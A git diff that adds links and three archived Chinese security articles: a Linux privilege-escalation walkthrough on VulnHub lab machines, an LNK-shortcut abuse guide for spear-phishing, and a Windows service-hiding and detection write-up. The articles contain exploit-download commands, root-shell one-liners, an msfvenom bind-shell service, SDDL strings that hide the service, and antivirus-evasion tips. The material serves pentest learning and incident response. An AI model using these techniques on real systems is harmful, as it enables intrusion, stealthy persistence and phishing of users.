diff --git a/README.md b/README.md index e7e154b..cb2191c 100644 --- a/README.md +++ b/README.md @@ -317,6 +317,7 @@ - [CVE-2023-20178: Cisco AnyConnect Secure Mobility Client for Windows 系统权限提升漏洞](https://github.com/Wh04m1001/CVE-2023-20178) - [CVE-2023-34960: Chamilon命令执行](https://github.com/Aituglo/CVE-2023-34960) - [CVE-2023-23333:Contec SolarView Compact命令执行](https://github.com/Mr-xn/CVE-2023-23333) +- [CVE-2023-7028:GitLab 任意用户密码重置漏洞](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-7028.yaml) ## 提权辅助相关 @@ -2294,6 +2295,9 @@ - [wechat: 微信收藏的文章【渗透、技巧相关文章】](https://github.com/izj007/wechat) - [sec-books-part1: 网安类绝版图书](https://github.com/apachecn/sec-books-part1) - [dotnet-deserialization: dotnet 反序列化学习笔记](https://github.com/Y4er/dotnet-deserialization) +- [服务隐藏与排查 | Windows 应急响应](https://mp.weixin.qq.com/s/OrTTpxt_i1y5PUxfQRcWDQ)|[备份](./doc/blue/服务隐藏与排查 _ Windows 应急响应.html) +- [Windows快捷方式利用技巧](https://mp.weixin.qq.com/s/ZPL84wN8MitFzrkegZCLdg)|[备份][./books/Windows快捷方式利用技巧.html] +- [Linux提权过程中的各种姿势](https://mp.weixin.qq.com/s/K13LvvYsU8mi32pgsq4WeQ)|[备份](Linux提权过程中的各种姿势.html) ## 说明 diff --git a/books/Linux提权过程中的各种姿势.html b/books/Linux提权过程中的各种姿势.html new file mode 100644 index 0000000..0917020 --- /dev/null +++ b/books/Linux提权过程中的各种姿势.html @@ -0,0 +1,200 @@ + + + + + + + + + + + + + + + + + + + + + + + +
1.关于提权
系统提权通常是渗透测试或CTF比赛中遇到的关键步骤, 通过提权可以允许攻击者执行一些特殊操作,例如:绕过访问控制、更改密码、创建新用户作为持久化手段、对软件进行更改等。具有root权限的用户则可以对系统进行任何操作, 包括:读、写或删除任何文件、停止或启动服务、安装或卸载应用程序及管理账户等。
2.提权过程中的信息收集
提权过程中的信息收集相当于是一个手动枚举的过程, 涉及对系统配置和服务信息进行详细的查看和收集, 在此过程中, 往往需要记录尽可能多的信息, 其中有些看似不重要的信息即使现在用不到, 在后期往往能提供非常有价值的灵感和思路。
如果发现具有可用漏洞的内核版本, 则可以使用它来获取root shell, 可以使用以下命令查看内核版本:$ uname -r
命令返回如图:
如果安装了LSB模块, 则可以使用命令查看Linux版本, 命令如下:$ lsb_release -a
假如没有该命令, 可以使用以下命令查看:$ cat /proc/version
命令返回结果如下:
跟内核版本一样, sudo版本也可能受到攻击, 可以使用以下命令查看:$ sudo -V
命令返回结果如下:
使用history命令可以查看系统曾经运行的命令历史记录, 在这个过程中往往能够找到一些有价值的信息,例如:系统密码,如图:
可以使用命令查看系统中间隔时间运行的程序, 在这个过程中可能会发现一些意外的信息,如图:
在Linux权限提升过程中, 查看用户当前拥有的sudo权限, 可以提示我可能使用sudo能够运行某些命令, 输入以下命令:$ sudo -l
命令返回结果如下:
可以直接使用id命令查看当前用户属于哪些组, 如图:
查看网络信息可以为下一步行动提供丰富的信息,例如: 路由信息、IP地址等, 根据这些信息对于之后理清整个网络拓扑结构非常有帮助, 命令执行结果如下:
3.自动化工具
在Linux系统中使用自动化工具可以大大提升整体效率, 以下是一些常见的枚举工具。
LinEnum是一款流行的权限提升工具, 它能够显示有关Linux系统的信息, 这些信息有价值的地方在于它们可能具有潜在的漏洞、错误配置, 大大提高提权的成功几率。
LinEnum收集的信息包括:用户账户、文件权限、活动进程、已安装的软件包、网络配置、计划任务、系统日志、版本信息等。
LinPEAS也是一个流行的提权脚本, 可以帮助我生成root shell的潜在路径, 并协助发现Linux环境中权限的错误配置或漏洞。
LinPEAS使用颜色编码系统突出显示哪些特权升级维度最可能发挥作用, 如果出现红色/黄色, 则应该优先关注。
Pspy是一个命令行工具, 该工具可以无需root权限监控Linux系统中运行的进程。
该工具对于识别cron作业或其他计划任务运行的进程特别有用, 这些进程通常是特权升级攻击的目标。通过识别这些进程,渗透测试人员可以找到利用错误配置或漏洞的机会,从而使攻击者能够在系统上获得更高的权限。
Linux Exploit Suggester是一个Linux权限提升工具,用于检查计算机是否存在潜在的内核漏洞。该工具使用“极有可能”、“可能”、“不太可能”和“不可能”分数来计算漏洞利用成功的可能性。
Linux Smart Enumeration是另一个类似于LinPEAS 的工具。它旨在识别系统漏洞、错误配置和其他潜在的系统权限升级途径。然而,LSE以其独特的检查“级别”而闻名,它允许用户根据自己的需要指定枚举的深度。
它具有三个详细级别。默认情况下,系统会显示最严重的安全漏洞。执行第1级会显示有用的信息,可以帮助渗透测试人员升级权限。执行级别2将提供收集的所有系统数据的大量转储。
4.利用内核漏洞提权
内核漏洞是利用Linux操作系统内核代码中的错误或缺陷, 例如:缓冲区溢出。为了能够证明利用内核漏洞提升权限并生成root shell确实有效, 这里使用了VulnHub的Kioptrix 1.1虚拟机。
当以普通用户进入目标机器后, 首先还是通过lsb_release -a 命令查看内核版本, 如图:
从上图中可以看出, 这台机器运行的是CentOS, 内核版本为:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:$ searchsploit linux CentOS 2.6 privilege escalation
上图中显示的9545.c将是我们利用的目标, 但必须将代码从Kali传输到我的目标机器并编译成可执行文件。
接下来我在Kali机器上启动一个Python服务器, 并通过Kioptrix 机器上的wget下载漏洞利用程序。以下命令将在端口 8000 上启动 Python 服务器。确保在漏洞所在的同一文件夹中启动服务器。python3 -m http.server
下面我可以使用wget命令将漏洞利用程序下载到Kioptrix,命令如下:wget http://192.168.56.103:8000/9545.c
下载完成后, 使用以下命令编译代码:gcc 9545.c -o privesc
最终利用内核漏洞获取到root shell权限。
5.利用服务漏洞提权
服务漏洞主要是利用系统或应用程序服务中的漏洞达到提权目的。这些服务通常是向其他程序或用户提供特定功能的后台程序,包括: Web服务器、数据库服务器、电子邮件服务器等。
服务漏洞利用的过程涉及攻击者控制服务中的漏洞个来执行恶意代码, 根据具体的漏洞和所涉及的服务, 成功利用的结果可能会有很大差异。
下面是一个利用的案例, 看看在VulnHub的Raven2 VM中利用服务漏洞进行root访问是一种怎样的体验。
当我通过反弹shell进入了目标系统, 便可以进行一些枚举操作来查找任何潜在的漏洞。
现在我已经拥有位于wp_config文件中的MySQL凭据, 接着运行LinPeas工具, 看看能否找到任何可能的特权路径。
观察LinPeas提供的输出内容, 我发现MySQL正在以root身份运行, 如图:
祭出搜索引擎, 看看该版本的MySQL是否有可用的漏洞,如图:
看上去运气不错, 有一个名为udf_root的潜在的权限提升服务漏洞可以利用,该漏洞利用MySQL中的UDF(用户定义函数是一段扩展MySQL服务器功能代码)以MySQL服务的权限执行系统命令, 最终获取系统权限。
该漏洞利用会将/bin/sh复制到临时文件夹, 将所有者设置为root, 然后在/bin/sh二进制文件中设置SUID权限, 从而提供root shell。
将udf_root脚本下载到我本地Kali机器上, 将其重命名为ravenprivesc.py, 通过执勤启动的Python服务器并使用wget命令将其下载到Raven机器上, 如图:
结合之前MySQL的登录凭据, 即:用户名:root, 密码:R@v3nSecurity, 运行一下试试:
成功获取到root权限。
6.利用Sudo权限提权
在Linux系统中, sudo代表超级用户执行操作, 该命令允许普通用户以超级用户(root)的安全权限执行某些命令。sudo的主要目的是将root权限限制在真正需要的时候。
对于攻击者来说, 利用sudo规则, 可以获得提权并操作一些命令,例如: cat、find或python。
下面我使用sudo -l命令来查看sudo权限:
从上图中可以看出, 可以使用sudo权限运行python, 而无需提供密码。
下面执行该命令:sudo python -c 'import os; os.system("/bin/sh")'
从上图看到,直接获取到了root权限。
7.利用SUID提权
SUID代表设置所有者用户ID, SUID允许用户以与文件所有者相同的权限运行可执行文件。例如:如果文件设置了SUID位, 则标准用户可以使用root权限执行该文件。
SUID权限可以使用带有四个前缀的chmod命令(例如:chmod 4755 文件名)来设置, 并且可以在ls -l中用s代替用户执行权限。
可以输入以下命令进行手动检查SUID:find / -type f -perm -04000 -ls 2>/dev/null
也可以使用LinPeas检查SUID文件,如图:
如上图, 利用Nmap命令设置SUID位来帮助我提升权限。可以从这个网站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相关操作的详细过程。
使用--interactive标志运行Nmap将来交互模式下启动它, 而!sh会在交互模式下生成一个shell, 由于Nmap上设置了SUID位, 因此shell将以root权限运行。
8.计划任务提权
Linux中的计划任务是按预定义的时间或间隔运行的操作, 它们用于自动执行重复性任务, 以便无需人工干预即可完成这些任务。
如果计划任务以更高权限运行, 例如:root cron作业, 并且如果它被错误配置为执行普通用户可写的文件或脚本, 这样就可以修改此文件或脚本来包含恶意命令, 从而导致权限升级计划任务执行。
这里我采用了VulnHub中的Symfonos3 VM来查看计划任务, 首先还是利用Python创建一个http服务,输入命令:python3 -m http.server
这里可以使用wget命令从服务器下载pspy, 只要确保使用本机IP 即可:wget http://192.168.110.136:8000/pspy64
接着运行:./pspy64, 让pspy运行几分钟, 这时可以看到一个名为ftpclient.py的进程在定时运行, 如图:
研究一下该文件, 看看是否可以以某种方式在它后面附加一些代码来生成反弹Shell,如图:
这里我没有ftpclient.py文件的写入权限, 但我注意到该文件正在导入ftplib, 不妨尝试将其写入该文件中试试,如图:
由于是"gods"组的一部分,因此拥有该文件的读写权限, 我可以给这个文件附加一个shell, 等待计划任务执行, 这时应该称为root用户了, 如图:
回到kali机器上,看看结果:
9.利用密码提权
当涉及到Linux权限提升时, 成为root用户最简单的方法之一就是查找密码, 攻击者可能会使用多种方法来查找系统中的密码。
Linux用户可以以纯文本形式存储密码, 如果这些文件没有得到适当保护, 攻击者可能会访问用户的账户。
一旦找到密码, 攻击者就可以使用它来提升权限, 方法是登录更高权限的账户或将其与sudo一起使用以提升权限运行命令。
下面将使用VulnHub中的SickOS VM来实现这个场景, 首先输入以下命令查看密码:cat /etc/passwd
从图中可以看到, 有一个用户较sickos, 下一步搜索以纯文本形式存储的密码, 可以使用以下命令来搜索包含字符串"pass"的PHP文件:find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass
可以看到, 有一个以明文形式存储的用户名root和密码john@123, 看看是否可以使用找到的密码切换到sickos用户, 从社会工程学角度, 密码往往会重复用于多种场合:
居然可以, 我已将www-data用户提升为Sickos用户, 现在顺便看看是否有sudo权限:sudo -l
可以看到,已经可以以root用户身份运行所有命令。
Scan to Follow
+LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名,用于提升用户交互体验,能够点击快捷方式来快速打开应用。LNK文件通常用于创建开始菜单和桌面快捷方式。但是LNK文件也可以被恶意代码的利用,常用于网络鱼叉的载荷投递。
查看LNK文件的基本属性,关注的地方主要是快捷方式的目标位置,运行方式,图标等,如下图所示:
选取一个恶意的快捷方式查看其文件结构,如下图:
通过010编辑器打开
可以关注的几个字段COMMAND_LINE_ARGUMENTS、ICON_LOCATION、WORKING_DIR,通过修改这几个字段可以提升恶意快捷方式的欺骗性,提升点击的成功率。
首先我们可以通过powershell命令来快速生成快捷方式,如下图的命令:
WScript.Shell组件属性含义如下图:
并且我们通过修改IconLocation字段,可以自动化配合后续要投放网络鱼叉中的真实文件名后缀来实现指定文件的图标。例如要生成word诱导文件,只需将IconLocation字段写成“1.docx”即可,自动生成效果如下图:
鼠标右键创建快捷方式,可以在目标中输入执行的命令,但是字符串最长为260字节,即“目标”窗口长度为260字节。我们通过修改快捷方式设定值并在目标插入大量空格字符串,使其超出该长度之后窗口便不再显示,将恶意指令藏在260字节之后,在一定程度上隐藏自身。
测试powershell代码:
往test.txt文件写入调用计算器 /c start calc.exe
生成的快捷方式从图形窗口上看不到COMMAND_LINE_ARGUMENTS字段,执行效果如下图:
只通过单个LNK执行恶意代码,有两种方式,第一种是直接将恶意代码写入到LNK文件;第二种需要LNK执行远程下载并执行的动作。
首先来看一下第一种恶意代码如何绑定LNK文件实现单文件执行恶意代码。通过构建一个加载器,加载器的主要功能将exe附加写入LNK文件末尾,然后通过LNK定位exe在LNK文件的偏移位置,异或解密exe文件,释放到temp目录并执行exe。
完整的LNK绑定的powershell命令如下图:
第二种方式可以通过远程下载并执行,如下图下载命令:
接着再执行命令来实现下载文件执行,如下图:
通过多文件来执行恶意代码,只需要保证LNK指向木马的情况就能完成简易的网络鱼叉制作。将LNK文件和木马置于同一个压缩包,同时将木马设置成系统属性,在不勾选显示系统文件和隐藏文件的时候,木马默认是不可见的。实现效果如下:
勾选显示隐藏文件和显示系统文件之后:
并且能够搭配释放出迷惑性的正常文档文件来让用户点击后无感知,降低被取证分析的概率。
大多数杀软针对LNK绑定了危险的命令会直接拦截,例如cmd或者powershell。所以单文件以及多文件想要绕过杀软的话,此处需要引入一个“LOLBINS”,即Living-Off-the-Land Binaries,是在目标操作系统上运行受信任的合法进程来执行恶意活动,例如横向移动、权限提升和远程控制等。换句话说即大家所熟知的“白名单”免杀技术。比如常见的Powershell.exe、Certutil.exe和Mshta.exe等程序,属于微软自带的白名单程序。
那么我们所选取的白名单程序通常需要具备“执行”的动作,再者高级一点就是还具备远程“下载”的动作。可以参考“LOLBAS”,站点上面罗列了windows操作系统上自带的白程序,并且标注了具备怎样的功能,是具备”执行“还是”下载“以及”拷贝“的功能。当然杀软也注意到这个层面,具体的免杀白程序还需要读者自己尝试。
多文件一般情况之下,如果LNK指向的木马文件免杀,那么快捷方式一般不会别拦截,但是LNK如果只是执行木马的话而没有其他效果的话会显得比较突兀,可能会引起用户怀疑,此处我们选取一个例子作为说明,示范一下多文件的情况之下如何提高隐蔽性。
通过FTP执行文件中的命令。文件命令完成执行木马,修改释放诱导性文件属性并打开诱导性文件,如下图:
当然这里也并非一定要用可执行文件,也可以搭配侧加载(白加黑),或者直接rundll32直接执行黑dll,甚至进程注入等,并且还能搭配自删除的bat文件来控制进程注入后母体样本的删除,已确保文件母体功能不容易被取证分析。需要多种手段搭配使用才能实现更好的效果。
3.通过使用 URL 信誉工具进行分析,以确认 LNK 文件打开了恶意链接。如下图所示:
4.查看快捷方式的文件大小,大于 4 KB 的文件应被视为可疑文件,通过快捷方式属性查看是否指向可疑的可执行文件或者绑定了可疑的命令执行参数。
https://www.x86matthew.com/view_post?id=embed_exe_lnk
https://lolbas-project.github.io/
Scan to Follow
+攻击者通过创建服务进行权限维持过程中,常常会通过一些手段隐藏服务,本文主要演示通过配置访问控制策略来实现隐藏的方式以及排查方法的探索
不包含通过修改内存中链表进行隐藏的方式
直接选择默认的 XblGameSave
服务,这个服务为 Xbox Live
可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live
或从 Xbox Live
下载。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave
sc qc XblGameSave
sc sdshow "XblGameSave"
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL
)
具体含义可以参考
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings
https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights
可以通过一些 SDDL
解析工具进行查看
https://github.com/canix1/SDDL-Converter
是一个 powershell
脚本,右键执行
将 SDDL
放到其中进行解析
这样看起来比较直观
sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc queryex | findstr "XblGameSave"
sc query "XblGameSave"
可以看到,常规检查的时候,无法直接看到 XblGameSave
通过 sc query
指定名称查找显示的是 拒绝访问
通过 sc qc
指定名称查找能够显示出正常内容
如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到
Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"
指定名称查询都显示找不到任何服务
wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description
https://systeminformer.sourceforge.io/
Process Hacker 的升级版
也看不到
可以看到,注册表能够看到该服务,此时注册表多了一项 Security
但是不只这一个注册表有 Security
,所以也不好粗暴地作为评判依据
方法一 枚举法
按照计划任务隐藏时候的思路,先看一下 sc query
查询不存在的服务时报错是什么
这里就可以看出区别,当然,完全可以用 sc qc
查询做对比,可能更好
这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限
方法二 高权限查看法
这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root
都没用,我们分析一下刚才的权限设置
这里似乎对 SYSTEM
并没有限制,那我们使用 SYSTEM
权限执行这些常规检查是否可以看到呢
思路就是先获取注册表中服务名称,之后通过 sc query
进行查询,根据反馈进行判断
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
$maliciousServices = foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
$configOutput = sc.exe qc $service
[PSCustomObject]@{
ServiceName = $service
Status = "拒绝访问"
Config = $configOutput
}
}
}
if ($maliciousServices) {
Write-Host "发现以下恶意服务:"
$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status
foreach ($service in $maliciousServices) {
Write-Host "--------------------------------------------------"
Write-Host "Service Name: $($service.ServiceName)"
Write-Host "Status: $($service.Status)"
Write-Host "Service Config:"
$configLines = $service.Config -split "`n"
$configLines | ForEach-Object {
$configLine = $_.Trim()
if ($configLine -ne "" -and $configLine -notlike "[*]*") {
Write-Host $configLine
}
}
Write-Host "--------------------------------------------------"
}
} else {
Write-Host "未发现恶意服务."
}
当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
Write-Output $service
}
}
通过 PsExec64.exe
来获取 SYSTEM
权限
PsExec64.exe
是SysinternalsSuite
套件中一款工具https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
PsExec64.exe -i -s cmd
PsExec
似乎会导致输入法部分功能出现问题
尝试通过 SYSTEM
权限的 cmd
进行查询
sc queryex | findstr "XblGameSave"
sc
看不到隐藏的服务
尝试通过 SYSTEM
启动 services.msc
services.msc
看不到
powershell
看不到
wmic
看不到
创建低权限的用户组和新用户也不行
看来高权限法不行
经过枚举法,已经获取到服务名称,现在通过 sc sdset
设置权限
sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
这样就可以通过 services.msc
进行管理了
删除服务
sc delete "ServiceName"
这次使用 msf
生成一个服务木马来模拟服务
msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe
注意,这里指定的文件类型是 exe-service
,MSF
专门为服务准备的一类木马,中文资料上提到这个事极少
sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem
创建一个名为 test
的服务,开机自启动执行木马程序,监听 4455
端口
启动服务测试一下
sc start test
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit
服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接
再次获取 shell
,服务自启动没问题
再次重启服务器,登录后查看服务信息如下
从服务来看 test
服务已经停止了
从进程角度来看
没有主动监听shell
相关进程
通过 MSF
进行连接
服务监听是存在的
从网络层面看
可以看到 MSF
与受害主机之间的连接
通过 wmic
查看详细情况
wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list
这样看来 exe-service
生成的是一个 dll
文件
sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
此时已经 Services.msc
已经看不到 test
服务了,这个上面我们已经测试过了
获得的 shell
不受影响
尝试在 Meterpreter
中远程完成删除
reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"
注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了
服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用
sc qc
进行查询显示找不到指定的文件
sc query
显示还是拒绝访问
尝试重启服务器
服务已经不存在了
一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?
注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧
服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了
当然,可以把 Rundll32.exe
作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL
位置,而且感觉不太严谨
通过日志 Windows 日志 -> 系统
其中来源为 Service Control Manager
的日志会记录服务的创建与执行
如果 Windows API
呢
#include <iostream>
#include <windows.h>
#include <winsvc.h>
int main()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (schSCManager == NULL)
{
std::cout << "Failed to open Service Control Manager." << std::endl;
return 1;
}
DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
NULL,
0,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
);
LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
if (lpServices == NULL)
{
std::cout << "Failed to allocate memory." << std::endl;
CloseServiceHandle(schSCManager);
return 1;
}
if (!EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
(LPBYTE)lpServices,
dwBytesNeeded,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
))
{
std::cout << "Failed to enumerate services." << std::endl;
free(lpServices);
CloseServiceHandle(schSCManager);
return 1;
}
std::cout << "Services:" << std::endl;
for (DWORD i = 0; i < dwServicesReturned; i++)
{
std::wstring serviceName(lpServices[i].lpServiceName);
std::wcout << serviceName << std::endl;
}
free(lpServices);
CloseServiceHandle(schSCManager);
return 0;
}
经过实验, Windows API
获取不到,即使是 SYSTEM
权限也查询不到
sc
的命令报错意味着其实 sc
是可以知道 test
的存在的
但是这里有个问题
sc
能够获取到服务列表,之后查询 test
是否存在sc
获取不到服务列表,但是可以将服务名称提交,之后返回信息如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举
由于 Windows
并不开源,我们无法直接知道 sc
到底是怎么做的
查阅一些资料后得知,服务信息应该归 SCM
来管,具体落到进程上就是 services.exe
但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息
只通过 SDDL
进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了
对于进行了 SDDL
同时删除了注册表项的服务,需要通过重启来进行删除
Scan to Follow
+